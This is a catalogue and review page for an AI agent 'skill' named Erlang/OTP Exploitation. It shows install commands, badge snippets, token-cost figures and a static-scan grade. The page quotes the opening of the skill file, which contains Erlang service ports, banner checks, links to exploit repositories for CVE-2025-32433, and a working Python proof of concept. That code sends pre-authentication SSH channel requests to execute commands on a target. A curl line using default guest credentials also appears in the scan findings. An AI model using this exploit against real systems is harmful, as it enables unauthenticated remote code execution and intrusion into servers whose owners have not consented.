Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add allsmog/blackbox-claude-plugin --skill erlang-exploitationgit clone --depth 1 https://github.com/allsmog/blackbox-claude-pluginWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/erlang-exploitation)<a href="https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/erlang-exploitation"><img src="https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/erlang-exploitation/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/allsmog/blackbox-claude-plugin/erlang-exploitation"><img src="https://agentmods.dev/badge/skills/allsmog/blackbox-claude-plugin/erlang-exploitation.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00086 | $0.01477 |
| Opus 5 | $0.00043 | $0.00739 |
| Sonnet 5 | $0.00017 | $0.00295 |
| Haiku 4.5 | $0.00009 | $0.00148 |
Grade A, and why
Erlang/OTP Exploitation scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -u guest:guest http://<TARGET>:15672/api/overview How it starts
The opening of the file, as written. The whole thing — 177 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Erlang/OTP Exploitation Skill
Detection Indicators
Ports
| Port | Service | Notes |
|---|---|---|
| 4369 | EPMD | Erlang Port Mapper - indicates Erlang services |
| 2222 | Erlang SSH | Custom SSH implementation (NOT OpenSSH) |
| 5672 | RabbitMQ | Erlang-based message broker |
| 5984 | CouchDB | Erlang-based database |
| 25672 | RabbitMQ Cluster | Inter-node communication |
Banner Identification
# Erlang SSH banner
SSH-2.0-Erlang/5.2.9
# Check OTP version
erl -noshell -eval 'io:format("~s~n", [erlang:system_info(otp_release)]), halt().'
CVE-2025-32433: Erlang SSH Pre-Auth RCE
CRITICAL VULNERABILITY - CVSS 10.0
Affected Versions
- OTP < 27.3.3
- OTP < 26.2.5.11
- OTP < 25.3.2.20
Vulnerability
The Erlang SSH server accepts SSH_MSG_CHANNEL_OPEN and SSH_MSG_CHANNEL_REQUEST messages BEFORE authentication completes, allowing unauthenticated command execution.
Exploit Repository
# Clone exploit
git clone https://github.com/ProDefense/CVE-2025-32433.git
git clone https://github.com/NiteeshPujari/CVE-2025-32433-PoC.git
Quick Exploit (Python)
import socket
import struct
import time
HOST = "127.0.0.1" # Target
PORT = 2222
def string_payload(s):
s_bytes = s.encode("utf-8")
return struct.pack(">I", len(s_bytes)) + s_bytes
def build_channel_open(channel_id=0):
return (b"\x5a" + string_payload("session") + struct.pack(">I", channel_id)
+ struct.pack(">I", 0x68000) + struct.pack(">I", 0x10000))
def build_channel_request(channel_id=0, command=None):
return (b"\x62" + struct.pack(">I", channel_id) + string_payload("exec")
+ b"\x01" + string_payload(command))
def build_kexinit():
cookie = b"\x00" * 16
def name_list(l): return string_payload(",".join(l))
return (b"\x14" + cookie
+ name_list(["curve25519-sha256","ecdh-sha2-nistp256","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256"])
+ name_list(["rsa-sha2-256","rsa-sha2-512"])
+ name_list(["aes128-ctr"]) * 2
+ name_list(["hmac-sha1"]) * 2
+ name_list(["none"]) * 2
+ name_list([]) * 2
+ b"\x00" + struct.pack(">I", 0))
def pad_packet(payload, block_size=8):
min_padding = 4
padding_len = block_size - ((len(payload) + 5) % block_size)
if padding_len < min_padding: padding_len += block_size
return (struct.pack(">I", len(payload) + 1 + padding_len)
+ bytes([padding_len]) + payload + bytes([0] * padding_len))
# Execute command
cmd = 'os:cmd("cat /root/root.txt > /tmp/flag.txt").'
with socket.create_connection((HOST, PORT), timeout=5) as s:
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
banner = s.recv(1024)
print(f"Banner: {banner.strip()}")
time.sleep(0.3)
s.sendall(pad_packet(build_kexinit()))
time.sleep(0.3)
s.sendall(pad_packet(build_channel_open()))
time.sleep(0.3)
s.sendall(pad_packet(build_channel_request(command=cmd)))
print(f"Sent: {cmd}")
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 177 lines · 86 tokens per session scan A 4b2341adf58d
Erlang/OTP Exploitation is a skill published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 86 tokens to every session and 1,477 once invoked, about $0.0004 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
Other skills, from other repositories
list-connections
Lists Power Platform connections in the current environment. Use when you need a connection ID before adding a connector to a code app.
tidewave-integration
Tidewave MCP runtime tools — debugging, smoke testing, live state inspection, SQL queries, hex docs. Use when evaluating code in a running Phoenix app.
cloudflare-email-routing
Cloudflare Email Routing for receiving/sending emails via Workers. Use for email workers, forwarding, allowlists, or encountering Email Trigger errors, worker call failures, SPF issues.
bun-http-server
Use when building HTTP servers with Bun.serve, handling requests/responses, implementing routing, creating REST APIs, or configuring fetch handlers.
api-testing
HTTP API testing for TypeScript (Supertest) and Python (httpx, pytest). Test REST APIs, GraphQL, request/response validation, authentication, and error handling.
api-gateway-configuration
Configures API gateways for routing, authentication, rate limiting, and request transformation in microservice architectures. Use when setting up Kong, Nginx, AWS API Gateway, or Traefik for centralized API management.